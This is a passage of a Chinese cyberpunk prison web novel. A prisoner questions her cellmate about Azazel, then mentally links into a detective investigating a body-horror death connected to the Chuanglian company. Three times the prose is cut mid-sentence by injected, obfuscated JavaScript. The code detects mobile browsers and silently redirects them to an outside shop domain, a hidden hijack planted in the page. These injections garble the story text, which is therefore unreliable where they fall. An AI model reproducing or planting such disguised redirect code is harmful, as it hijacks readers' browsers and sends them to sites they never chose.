“吃过吗?”卢维问,“我妈托苏姨弄进来的。她总觉得我还像小时候那样,吃完药得含颗糖。” “小时候吃过。”连映借着月光看向手中略显褪色的糖纸,水泥地的阴冷寒气似乎顺着脚踝爬了上来,让她神色有些恍惚。她想起自己小时候很喜欢吃糖,母亲却总不让她多吃,“很久没见到了。” 卢维没多问,只是收起药,目光审视着连映:“白天对付冯丽,你反应很快。不像是个纯粹的文职人员。” “小时候身体差,长大后怕死,找人练过几年格斗。半吊子,勉强保命。”连映反问道,“你呢?身手这么好,怎么进来的?” 卢维沉默了片刻,靠在窄窗边,语气生硬:“杀了人。一个仗着背景把人逼死的畜生。” “听说,你拧了他的脑袋。” “是。他害死了我朋友,还觉得那是恩赐。”卢维转过头,月光照在她那张显得有些僵硬的脸上,“怕吗?” 连映脑海里掠过刚才杀手颈骨折断的脆响。她微微蹙了蹙眉,平静地回答:“哦,还好。” 卢维盯着连映看了半晌,扯了扯嘴角:“我的错,差点忘了你是怎么进来的。你是那种……和她完全不一样的人。但我总在你身上看到一点她的影子,那种死活不肯认命的轴劲儿。” 连映没去追问那个“她”是谁。她知道,在这黑牢里,每个人的过去都是一个深坑。 “你爸妈呢?”连映问。 “我爸死在三十年前的天幕战争里。那时候我刚出生。我妈在边境把我拉扯大,原本指望我挣个军功给她养老,现在……估计难了。”卢维顿了顿,眼神暗淡,“等定罪庭审一结束,我会被送到军方监狱。这辈子,大概出不去了。” “活着就有希望。”连映苍白地安慰道,“那,你母亲现在怎么样?” “啊,她挺好的。”卢维言简意赅地说,眼里的阴霾淡了些,“她不是你想的那种人。她辈子什么都经历过,怎么样都能活下去,而且,我还有个妹妹。” “你也有个妹妹?”连映有点惊奇,没把“和你是一个父亲吗”的问题问出口。 卢维似乎知道她想说什么:“啊,不是,是她和别的男人生的,早分了。” “听起来,你妈妈是个很坚强的人。”连映点点头,忽然对卢维的母亲有些好奇。 “对了,你今天吃完饭以后去图书室了?借了什么书?这么久才回来。”卢维转过头,灰蓝色的眼眸中闪过一丝关心,“广播里说有紧急情况,你又那么久才回来,我们都以为你出事了。” “没遇到什么事,就是借了本《圣经》。”连映像是随口提起,“里面提到了一个名字,叫阿撒兹勒。” 她记得斯克拉文人普遍信教,想问问卢维是否知道什么相关信息。 话音刚落,连映敏锐地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318042|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捕捉到卢维的瞳孔骤然紧缩了一下。那双灰蓝色的眼睛里有一抹似忌惮又似恐惧的光一闪而过。 “你信教?”卢维反问,语气有些怪异。不是喜悦或疑惑,更像一种带着怀疑和防备的试探。 “不。只是好奇。你是不是信教?听说过这个名字吗?” 卢维沉默了很久,久到连映以为她不会回答时,她才低声开口,声音有些飘忽:“我妈小时候老带我去教会。她很虔诚。为了让她高兴,我背过很多段落。” 她看向连映,眼神里带着某种警告:“《利未记》第十六章第八节:‘为那两只羊拈阄,一阄归与耶和华,一阄归与阿撒兹勒。’阿撒兹勒是旷野的魔鬼,承受世间罪孽的替罪羊是被选中的牺牲品,需要献祭给它。” 献祭……听起来有些微妙。不知为何,连映忽然想到夏雨参加的那个“诚心互助会”。 卢维忽然跨步上前,按住连映的肩膀直直看向她,表情严肃得让连映有些怔然:“听着,C095。不管你在哪儿听到的这个东西,把它忘了。不要再说起这个名字,更不要去问别人。这儿的人对替罪羊这个词很敏感。” “为什么?” 卢维眼神有些复杂,沉默几秒后,低声道:“因为有些真相,只有死人才能带进坟墓。” “只是因为这样?”连映有些怀疑。 “……嗯。”卢维松开手,转过头去不再看她。 看起来原因似乎不止如此,但卢维看起来大概是不会继续说了。连映心想。 “哐!哐哐!” 寂静的空气中突然爆发出一阵剧烈的撞门声,紧接着是凄厉的尖叫,声音听起来是在隔壁。 连映身体瞬间紧绷起来,低声问道:“隔壁出事了。这地方晚上不管?” “门是自动锁住的,出不去。”卢维的谈话额度似乎已然耗尽,瞬间恢复了平日的冷酷。 她利落转身,大步走向盥洗室门口,只留下一句生硬的告诫,“羁押所的规矩,听到外面有动静也别管,除非广播通知撤离。” 连映收回目光,压下心头的疑窦。既然卢维已经离开,她只能无视外面的骚动,拿出架子上标着自己囚号的洗漱工具。 简单洗漱过后,连映走回自己那张硬如铁板的床位,脱下囚服外衣,拉过那床单薄得几乎没有重量的毛毯,将自己紧紧裹住。紧绷了一天的疲惫和虚脱感排山倒海而来。 连映本以为自己会很快睡着,但事实是,她心中毫无睡意。 她坐起身来,摸出囚服外衣兜里那颗卢维给的糖,借着黑暗,悄悄塞进了枕头底下。 距离凌晨两点还有一段时间,但心中那股“算力抽取”可能会致人死亡的乌云已经飘到连映心头。 连映躺在床上,盯着天花板上的通风口。卢维的话在她脑子里反复盘旋——阿撒兹勒,替罪羊,被流放的真相。 她闭上眼,感觉自己的意识像是一片即将剥落的蝉翼,在黑暗中微微颤动。 监室里的空气像凝固的冰,每一次呼吸都带着淡淡的铁锈味。 今天发生的每一幕开始像坏掉的幻灯片一样在脑内疯狂闪烁:凌晨那场几乎要了她命的审讯;在梦里坠楼死去、在现实中失踪的闻阗;夜间的审讯,夏雨和那个地下垃圾深井;看起来正常实则有什么不对劲的狱医;诡异莫名、似乎能进入别人脑子里的黑斑、下午劳动时被拖走的人命和不知道是不是冲着自己来的“意外”;同屋几个卧虎藏龙各怀心思的新狱友;晚上见到了李蔚,她居然和自己的审讯官陆靖遥是旧相识;还有暮姨、监区长、交易……还有刚才,医疗室里那柄差点贯穿她咽喉的骨刺。 谁想杀她? 这个问题像一根毒刺,扎在连映的心头。创联集团?杀易楚生的真凶?还是别的什么人? 39.红灯区凶杀案 对方连军方羁押所都能渗透,一天之内两次搞事情,说明这里面里一定还有别的内应。 是王敏那个势利眼?是那个总像在打官腔的狱医?是那个危险阴沉的羁押所所长?还是某个躲在阴影里、正通过监控盯着她的管教?还有…… 脑海里不自觉地浮现出暮姨的身影。 在那间充满消毒水和灰尘气息的图书室里,暮姨的一举一动都透着种让连映心颤的熟悉感。那种感觉很荒谬,像是寒冬里的一盆炭火,即便隔着冰冷的铁栅栏,也让她本能地想要靠近。 但连映迅速掐灭了这个念头。 在这个人吃人的黑牢里,任何“熟悉感”都可能是致命的诱惑。她不能信任何人,哪怕对方看起来再怎么像一个温和的长辈。 “系统面板。”她在心底默默发出指令。 视网膜边缘,那层幽幽的蓝光重新浮现,像是一场只属于她的幻觉。 【共鸣者档案:NO.095(连映)】 【当前状态】:极度疲劳 / 精神力受损 / 轻微外伤 【共鸣等级】:初级(勉强维持单向链接) 【共鸣者分类】:链接系(固有) / ???(状态异常) 【体质等级】:B 【精神力等级】: C+ 【精神力上限】:???(状态异常) 【核心天赋(固有)】: 1. 意识共鸣:无视空间与防火墙,强制链接适配目标的意识。 2. ???:状态异常,无法探知。 【共鸣技能】: 1. 意识链接(主动,被动) - 能力共享(初级):当与链接对象或同源载体同步率达标或受强烈刺激时,可共享其一项天赋/技能(要求同步率>20%)。 - 已固化共享技能: - 机械感知(初级):可以用感知视野观察分析机械类构造的客体。技能来源:载体X-07 - 五感增强(初级):五感更加敏锐。技能来源:载体X-08 2. 神经调谐(初级,领悟):可以初步调谐他人的情绪和心智。 3. 精神护盾(初级,领悟):正在构建专属精神防护机制(当前进度:15%)。可制造微型精神护盾抵御轻度精神攻击。配合体内残余黑斑能量使用,可产生特殊变异效果。 4. 精神攻击(初级,领悟):已掌握初级精神力外放攻击。配合体内残余黑斑能量使用,可产生特殊变异效果。 5. 认知盲区(初级,共享-剥夺):通过精神干扰,令半径五米内的生物在30秒内陷入认知障碍。 6. ???:状态异常,无法探知。 【当前任务进度】: - 主线任务:为自己洗清冤屈,查明易楚生死亡真相。 - 隐藏任务: 【寻找阿撒兹勒】——卢维提到的“替罪羊”,疑似解开这座黑牢底层逻辑的关键。 连映的目光在“五感增强”上停留了片刻。她侧过头,将耳朵贴在冰冷粗糙的墙壁上,在心底默念开启。 刹那间,听觉的边界被无限拓宽,穿透了厚重的水泥墙壁。 最先涌入耳膜的,是隔壁监室里沉闷平缓的打鼾声;紧接着是斜对面的房间里,两个女人压抑交缠的暧昧喘息和黏腻的水声;再远一些,是惊慌杂乱的动静,伴随着熟悉的暴躁嗓音——是冯丽那屋,夹杂着沉闷的拳肉相交声和求饶声。管教冰冷粗暴的训话声在走廊回荡;而在更深处的某个角落,竟隐隐传来低低的念经声。 纷杂的信息如同海啸般瞬间灌满大脑,连映猛地睁开眼,一阵强烈的眩晕感袭来。 是个好技能,但是消耗太大。 连映粗喘了一口气,闭上眼揉了揉刺痛的太阳穴,顺手调出了李蔚的档案。 【链接对象:李蔚】 【同步率】:25% 【信任值】:30/100 【共鸣天赋】:五感强化(初级) 【共鸣能力】:???(待激活) 【当前状态】:羁押中,情绪稳定。 李蔚对忽然在脑子里出现的她居然有这么高的信任值?同步率也高得可怕。 这不太正常吧,明明她看起来比夏雨难对付多了。 是她对陌生人过于信任,还是说,也许她根本就没把自己当陌生人? 无论如何,李蔚的执法者身份对于现在的连映来说很重要,她本人也因为某些原因对自己和闻阗的案子似乎很感兴趣,案发当天,她来得那么快,也许是因为她手里掌握着某些不为人知的情报。 一定要好好利用和李蔚链接的机会,尽可能多地掌控和自己这个案子有关的情报。 夏雨那边也有她亟需知道的重要情报。 连映关上李蔚的信息界面,在心里思考下一步的计划。 这一天过得漫长得像是一辈子。能力确实变多了,护盾、干扰、强化五感……听起来都不错,但在绝对的暴力暗杀面前,这些玄乎的技能显得太过鸡肋了。 她太缺一个简单粗暴、能一击毙命的攻击手段。如果没有强有力的反制底牌,她不知道自己还能不能躲过下一次暗杀,更不知道还有多少内应潜伏在暗处想要她的命。 想到这里,连映伸手摸了摸枕头底下的那颗糖。 那是卢维给她的。一个拧断了战友脑袋、背负着沉重的杀害战友罪状的斯克拉文裔老兵,居然到现在都会在兜里揣着这样的充满童年幻觉的物品。 连映想起自己小时候,母亲还在的时候,家里也有糖和零食。但那时候,母亲允许她一天最多只吃一颗,于是每天的糖果都变得异常珍贵。吃糖之前,她喜欢剥开那些亮晶晶的玻璃纸,看阳光穿过糖果映在地板上的彩色光斑。 但自从母亲走后,她吃糖不再受到限制。父亲渐渐对日常的一切失去了关心,继母不愿听她吵闹,宁愿用一些浅薄的快乐堵住她的嘴。一开始,她疯狂地吃,但后来有一天,她忽然就腻了,厌烦了,好像那些甜腻的味道忽然变得面目可憎起来,像是某种覆盖在苦涩现实上的糖衣,无法再让她快乐起来。 那天以后,她很少吃糖。 “嗡——” 监室外突然传来一阵极其低促、沉闷的嗡鸣声。 连映看了一眼监室墙上的电子时钟,缓缓吐出一口浊气。 现在是九点半,还没到算力抽取的两点钟,她还有时间。明天上午郑仁钧的提审是一道必须跨过去的死关,她手里的牌太少,绝不能坐以待毙。 睡觉前,她得再去李蔚那边一趟,拿到足够的筹码应对明天早上的审讯,然后尽快入睡,养精蓄锐。毕竟,明天,甚至下半夜的算力抽取,她都不知道会发生什么。今天接连几次遇险让连映心中的紧迫感和危机感急遽上升,压过新入狱的忐忑不安。 既然身体被锁在这里,那她就只能让灵魂飞出去。没有时间可以浪费了。 “该干活了。” 连映闭上干涩的双眼,咬破舌尖,借着那一丝腥甜的痛觉,强行拨动了识海中属于李蔚的那根共鸣之弦。 短暂的失重感后,震耳欲聋的雨声击穿了感官。 进入李蔚身体的瞬间,连映感觉自己仿佛一头扎进了一个发酵的垃圾桶。连映感觉自己仿佛一头扎进了一个发酵的垃圾桶。空气里弥漫着令人作呕的复杂气味:廉价合成香精的甜腻、重金属机油的酸涩,以及浓得化不开的血腥味。 一阵近乎晕眩的反胃和刺痛猛地袭来,庞大繁杂而尖锐的环境感官信息没有任何缓冲,被强行塞入脑海。连映强忍着恶心缓了半秒,才从这种过载的眩晕中反应过来——这是李蔚的感官增强天赋在起作用。 拥有特殊能力也不完全是件好事。 其实在这个时代,不少沉降区的瘾君子甚至专门利用这种感官倍增的副作用,来寻求类似电子致幻剂的快感。但连映天生对脑芯技术不耐受,平时很少接触此类深度植入的神经刺激体验,此刻这种毫无防备的强制共感,对她而言简直是一种粗暴的折磨。 连映能感觉到李蔚此刻也正紧皱着眉,眉宇间透着一丝被迫放大感官后的烦躁。 视线在一阵神经脉冲的雪花点后迅速重组。全息霓虹招牌在窗外连绵的酸雨中闪烁着刺眼的粉蓝色光晕,切割着这间逼仄潮湿的下城区旅馆客房。 和眼前光怪陆离的陌生情景一同出现的,还一写属于警用义眼的幽蓝色AR现实增强界面。连映迅速记住重点信息: [坐标:特区B区-肉泥巷-049号] [环境危胁评估:低] “这是近期红灯区第二起同类畸变。规隔离半径不安全,封锁线再往外推五十米。小王,全频段信号屏蔽开了没有?” 李蔚独有的利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17330265|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落冷硬、带一丝沙哑的女低音响起。借着她的视角,连映看到她正穿着深灰色的防雨战术风衣,手戴绝缘手套,眼底集成的警用AR战术界面正高频刷新着各项数据,自动扫描并解析着现场的物理痕迹与信息。 “报告李副组,信号屏蔽已开启。法医团队还在路上。”门口刚来的年轻警员惨白着脸说。 “让他们带最高级别的生物危害收容箱过来。小赵,守在门口。” 李蔚的视线冷冷扫过地上的黏液,继续下达指令:“另外,通知重案组技术科,立刻物理切断这栋楼的所有内网节点。在没查清这种异变会不会通过神经织网进行数据传染之前,绝不能让这里的任何信号接通公共主干网。” 门被关上。李蔚踩着被不明黏液浸透的复合地板走进客房内部,将扫描仪的蓝色扇形光束扫向房间中央的恒温水床。 房间正中央的水床上躺着一具过度肥胖的男性尸体。死者没有任何挣扎的痕迹,浮肿的脸上凝固着一种极度沉醉、飘飘欲仙的诡异笑容。十几根暗红色的活体金属管线从他七窍中探出。 警用AR系统自动捕捉了死者皮下植入物的微弱频段,几行身份信息在半空中快速浮现:[身份核实:张伟,前创联低级员工(已失业),无重罪前科。] 李蔚的视线顺着这些在水泊中微微蠕动的管线,缓缓摇向房间阴暗的角落。 那里瘫坐着一滩令人毛骨悚然的融合物——一个疑似女性的人类身体和衣物、义体等彻底熔铸在一起的畸形躯壳。 在这一大滩无法用人类语言形容的混合“躯体”底部,一双掉漆的廉价粉色高跟义肢在房间荧光粉的灯光下闪闪发亮,关节处的防伪条码已被强酸腐蚀大半。往上是露着一角撕裂的半透明塑胶紧身衣,再往上是葡萄似的几十个带着乳腺特征的畸形肉瘤撑得近乎透明的皮肉,像一团病态增生、随时会爆裂的肉串。 在这滩东西最顶端的,是一颗被融化的五彩浓妆糊得完全看不出原本面容的头颅。 女人的下半身已经完全融化,暗红色的金属管线像植物根系一样扎穿了地板,与旅馆的供电网络死死咬合。那张下颌骨已经脱臼的嘴里,正用甜美的合成音循环播放着出厂设定好的接客话术: “先生……压力释放了吗……痛苦交给我……为您净化……” 连映感到一阵不可遏制的恶寒。这种机械与血肉违背常理的野蛮交融的状态让她联想到李斯死前的变异。但眼前这个怪物截然不同,它更畸形,更偏向于纯粹无序的融合,简直就像是一颗活体毒瘤。 警用AR界面的光圈在扫描到这堆畸变体时,疯狂闪烁起红色的警告: [Error:无法识别生物体特征/逻辑冲突] 李蔚没有后退。她握紧腰间的高频震荡枪,战术手电的光束如利剑般劈开昏暗,直直打在畸变体后颈处。 那里有一块尚未被肉芽完全吞没的金属插槽,插槽上死死连着一个外接的神经辅疗设备。这个银灰色的仪器大半已经被疯狂增生的血肉和黏液吞噬,只露出一小块残缺的外壳。 强光照亮了外壳上被腐蚀的残缺铭文: 【创联医疗底层心理关怀项目专供】 又是创联……熟悉的字眼让连映心脏一跳,精神波动出现刹那的失控。这颗无形的石子,重重砸进了李蔚的意识里。 极度的震惊让连映的精神波动出现了刹那的失控,微小的波澜立刻被此时注意力高度集中的李蔚察觉到了。 探照灯的光晕猛地一晃。 李蔚的身体瞬间绷紧。她的AR界面上没有弹出任何防火墙被入侵的红色警报,但她常年在生死线上淬炼出的直觉轰然炸响。她不知道为什么,但她就是能感觉到,自己脑子里多了一道“存在”。 李蔚缓缓站直身体,慢慢关掉了战术手电。 逼仄的客房陷入昏暗。她盯着地上的畸变体,嘴角扯出一个冰冷嘲弄的弧度,低声开口: “前几天在餐馆遇到刺杀,我以为是我的外置战术耳麦被黑了。事后我碾碎了那个终端,顺便去局里做了全套的神经扫除,结果一切正常。” 李蔚的声音在只有尸体和怪物的房间里回荡,带着一种令人窒息的压迫感: “既然你不是通过网络黑进来的数据病毒,那你就只能是某种直接寄生在我生物脑里的东西。老实交代,你到底是什么人,想从我身上得到什么?” 40.创联科技 李蔚的脑海中暂时一片沉寂,只有窗外连绵的粉蓝色霓虹光晕,透过雨幕投射在李蔚晦暗不明的侧脸上。 李蔚冷哼一声,没有握枪的左手极其果断地摸向了战术风衣的内侧口袋——那里装着大剂量的警用强效神经阻断剂。 “既然物理扫除和防火墙都没拦住你,排除了常规的数据入侵,那最大的概率,你是某种直接作用于我生物脑的玩意儿。”李蔚的语调冷得像是在审问犯人,“未知的共振技术、微型的神经寄生体,或者是别的什么连我也没见过的把戏……你刚才是因为这个外接设备才露出破绽,被我感知到的。你想看清上面的线索,对吧?” 在一片喧闹的寂静里,连映的回应终于在李蔚意识中响起,语调平静得近乎死寂: “前几天在餐馆里,我能让你躲过那两名开了多重屏蔽的杀手,是因为我能听到你们这些昂贵义眼听不到的杂音。现在,我在这堆烂肉里听到了同样的噪音。” 连映冷静地道,“你想抓出背后的凶手,而我想得到我需要的信息。至于需要你做什么——让我看就好。不需要你违反任何规定,也不用担心我是公司的走狗。这叫各取所需。” “各取所需?”李蔚嘴角嘲弄地一撇,“你寄生在我的感官里,现在空口白牙地跟我谈交易?” 没等连映回答,她握着神经阻断剂的手指紧了紧,冷声道: “我是一名警察,我不可能摧毁现场的物证。但我随时可以切断自己的视觉共享,给自己打一针阻断剂,把你彻底关进小黑屋。或者,我干脆以精神状态不佳为由,直接退出调查,把这个案子移交给上面那些专门给公司擦屁股的联络官。到那时候,你这辈子都别想看到这堆烂肉到底藏着什么秘密。” 这才是重案组副组长真正的绝杀。她不需要毁掉线索,也不需要立刻揪出来这个目的不明的神秘人,但她知道,对方三番两次找上自己,必然有所图谋。 连映沉默了一秒。 虽然信任值涨得更快,但这大概是和李蔚本人的个性和处世之道有关。她果然没未成年的夏雨那么好忽悠。 “如果我是公司的走狗,餐馆里那两个杀手就已经要了你的命了,李副组长。” 连映语调冷淡,透着股事不关己的漠然: “公司派人杀你,是因为你查得太深;而他们搞出地上这堆东西,是因为他们根本不在乎底层人的死活。我帮了你,是因为我们立场相同——你想查清真相,而我想让制造这些东西的人付出代价。” 她顿了顿,抛出了最后的筹码: “把你的多光谱扫描切到热辐射痕迹模式。看看她后颈神经插槽周围的组织。我向你证明,我脑子里的东西,比你们法医科的常规鉴定更有用。” 李蔚微微眯起眼。她盯着虚空审视了几秒,不知为何,直觉告诉她,这个幽灵没有撒谎。她松开口袋里的神经阻断剂,视界边缘的AR界面迅速切换指令。一团幽红色的热辐射残留图谱在半空中浮现。 她并不是完全相信了这个人,但她想看看,这个人到底想干嘛。 “看清楚了吗?没有碳化。” 连映在黑诊所工作时见过一些脑芯出问题的倒霉蛋,在这方面有一些经验,于是冷静地对李蔚讲解道:“常规的脑芯如果发生短路,瞬间的高压会把周围的皮下组织直接烧焦。但这个尸体暴露的插槽和设备附近却没有类似表现。” “会不会被畸变的部位覆盖或同化了?”李蔚提出质疑。 “不像,你看接口处的皮肉——”连映还没说完,门外忽然传来一阵急促的脚步声。 “有人来了,先别说话。”李蔚在脑海中快速切断了交流。 客房的门被推开。一个提着最高级别生物危害收容箱的中年男人,带着两名穿全封闭防护服的助手快步走入。 李蔚眼底的警用AR战术界面迅速在来人身上扫过,几行幽绿色的身份信息在视网膜边缘自动浮现: 【身份核实:白宗林】 【职务:特区重案组首席法医】 “老白,小心点,这尸体不对劲,我怕它携带了某种神经织网病毒。”李蔚转过身,让出空间。 白宗林没有废话。他走到水床边,先是拿出一根带有强行破解模块的数据线,小心翼翼地插进了死者后颈那块残缺外接设备的物理检修口。 伴随着便携式终端的几声报错,屏幕上弹出一片刺眼的红色乱码。 “神经黑匣子彻底烧穿了。”白宗林紧锁着眉头,手指在屏幕上快速滑动,调出死亡前最后一分钟的峰值记录,“但缓存日志里记录了生前最后一次的接入数据……见鬼,这是什么量级的信息流?” 他把屏幕转向李蔚,上面显示的数据曲线呈极其陡峭的九十度直角飙升。 “这不是短路。”白宗林戴上战术放大目镜,凑近观察死者那些与电缆和水床融合的暗红色组织。 他从收容箱侧面抽出一把高频手术刀,精准地切下了一小块还在微微抽搐的皮下肉芽,将其丢进便携式活体细胞测序仪的分析槽里。 仪器发出低沉的蜂鸣,三秒后,全息屏幕上弹出一组扭曲成麻花状的细胞分裂图谱。 白宗林平时总是古井无波的脸猛地变了颜色。他死死盯着屏幕,连呼吸都停滞了一瞬,随后下意识地扯了扯领口,擦了一把额头渗出的冷汗。 “见鬼了……尸体的细胞活性不但没有衰竭,反而呈现出几何倍数的狂暴增生。它们甚至和绝缘橡胶长在了一起。”白宗林指着那些令人反胃的数据图谱,“这不符合任何已知的物理死亡或排异特征。” “什么意思?说人话。”李蔚眉毛一拧。 “意思是——”白宗林神情凝重,“严格来说,这具尸体还活着。” 李蔚和她体内的连映都吃了一惊。 “怎么可能?”李蔚盯着那坨不明物体,无论如何它看起来都不像是活着的样子。 “就像是被什么极其庞大的东西硬生生撑爆了,物理结构跟不上数据流的涌入。” 白宗林一边观察屏幕上的数据,一边根据脑内人工智能强大的分析能力,给出了一个基于取样数据的初步推演。 “从数据上来看,死之前,她的大脑为了防止瞬间宕机,本能地触发了极端的代偿机制。细胞没有死,它们在失控增生,试图通过融合周围的无机物来分担物理负荷。简单来说,这具躯体在被迫扩容,试图把自己变成一个宏观的生物处理终端。” 听到白宗林的话,隐藏在李蔚识海深处的连映心头一震。 细胞没有死? 连映天生对脑芯技术极度不耐受,但此刻,借着这种诡异的共生状态,她试着将自己的感知向那滩畸变体延伸。 就在触碰的瞬间,一股极其狂暴的杂音险些撕裂她的意识。那不是网络数据,而是纯粹的、高度浓缩的情绪残渣——暴虐、施虐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340254|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欲、绝望、病态的兴奋。这些庞大且扭曲的负面情绪,正以一种不可思议的方式,在那滩依然保持着微弱活性的血肉中翻滚、共鸣。 系统立刻发出精神力枯竭的警报,连映也意识到现在的自己应对不了这种级别的力量,立刻收回对这具尸体的精神力触手,忍住头脑的一阵阵眩晕,在心中快速分析着。 她没听明白这东西到底是什么原理,但是上次接触到这么令人不快的东西,还是今天凌晨接触并协助夏雨杀死已经变异的李斯的时候。但李斯的状况更像是一种有序的变异或者改造,虽然放在现实背景中非常离奇,但并不比许多全息游戏里的怪物或者僵尸更加惊悚。 而眼前这个前不久还活蹦乱跳的漂亮女人,变成了一具彻底无序而混乱的不明存在,而且,她全身的细胞居然还是活的。 到底是她疯了,还是她生活的这个看似普通的世界开始变得不正常了? 此时,旁边李蔚的下属已经通过终端扫出了死者的残缺身份信息。 “查到了,死者叫陈莉。”年轻的执法者看着资料说,“前几年为了还网赌的债,把完好的原生器官卖给了黑市,换了一身廉价仿生件。结果后期的排异药和维护费根本填不上漏洞,只能签卖身契给红灯区的中间人。” 一边说,他一边摇了摇头,语带怜悯:“这种为了接客能多扛几次神经刺激,连痛觉神经都主动切除的性工作者在红灯区并不少见,是赛博精神病高发人群,但死法这么猎奇的几乎没有。” 白宗林凝着脸在一边补充道:“这是最近这片红灯区第二起离奇死亡的案件了,可这一个的死法比上周那个要猎奇得多。” 李蔚看着那一坨尸体顶端还在机械循环“我美吗”的融化脸孔,声音冷得像冰:“什么样的数据流,能把一个活人逼得强行改变物理形态?” “具体情况得等回局里做进一步检测再说,但就尸体和神经织网设备的状态来看,结果大概不乐观。”白宗林申请凝重地回答。 李蔚转头看向那个被血肉吞噬了大半的外接设备,眼底的警用AR界面瞬间锁定它,强行进行了深度解析扫描。 淡蓝色的光束穿透黏液,残缺的铭文连同深层的设备代码在视网膜上清晰地浮现: 【所属公司:创联医疗(创联科技控股)】 【设备型号:EPS-基础型共情安抚仪】 【批次识别码:CL-Charity-04】 看着“创联科技”的字样,李蔚眉头深锁。创联这种专攻传统机械的老牌巨头,这几年强行往生物医疗领域挤,吃相真是越来越难看了。 而在识海深处,连映盯着那行“EPS”的设备型号,心里猛地涌起一股极其强烈的恶寒。 创联科技……精神类设备。 她在羁押所里今后每晚都要经历的算力抽取所用的设备,还有图书阅览室里那个让人求生不得求死不能的MCS意识矫正系统,似乎都是创联科技的产品。 一边以惩戒为规,另一边则是以慈善为名。两款看似毫不相干的设备,却分别垄断了特区羁押所的囚犯和红灯区的底层妓女——全都是沉降区里最没有话语权,即使遭遇失踪、变异甚至死亡也无人在意的边缘人。 伴随着这股令人毛骨悚然的明悟,连映脑海中忽然闪过一个画面。 那是五年前,她和易楚生彻底决裂前夕,曾偶然在易楚生办公室门外目睹的一场争执。